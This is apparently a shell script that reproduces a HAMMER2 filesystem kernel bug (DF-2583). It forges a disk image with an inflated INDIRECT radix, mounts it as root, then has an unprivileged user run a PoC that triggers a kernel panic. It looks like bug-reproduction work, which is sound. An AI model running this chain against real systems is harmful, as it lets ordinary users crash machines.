#!/bin/sh
# run.sh - Full DF-2583 reproduction chain.
#
# Must be run as root (mounts the forged image).  The readdir/stat PoC
# is invoked as the unprivileged user maxx after mount.  The forged
# image's INDIRECT bref has an oversized radix which triggers a kernel
# panic (KKASSERT in hammer2_io_alloc on default GENERIC).
#
# Prerequisites: build.sh has been run; /root/h2.img exists (from setup_image.sh).
set -e
cd "$(dirname "$0")"

POCUSER=maxx
IMG=/root/h2.img
MNT=/mnt/h2test
RADIX=${1:-17}

echo "=== Phase 1: Forge the image (inflated INDIRECT radix=$RADIX) ==="
./forge "$IMG" "$RADIX"

echo "=== Phase 2: Mount the forged image read-write (flush path) ==="
vnconfig -c vn0 "$IMG" 2>/dev/null || true
mount_hammer2 /dev/vn0@DATA "$MNT" 2>&1 || echo "mount rc=$?"

echo "=== Phase 3: chmod the directory for unprivileged access ==="
chmod 755 "$MNT" "$MNT/testdir" 2>/dev/null || true

echo "=== Phase 4: Run PoC as unprivileged user $POCUSER (triggers INDIRECT load) ==="
su -m "$POCUSER" -c "/bin/sh -c 'cd $(dirname "$0") && ./poc $MNT/testdir'" || echo "PoC exited rc=$?"

echo "=== Phase 5: Cleanup (if we got here, no panic happened) ==="
umount "$MNT" 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true
echo "RUN_DONE"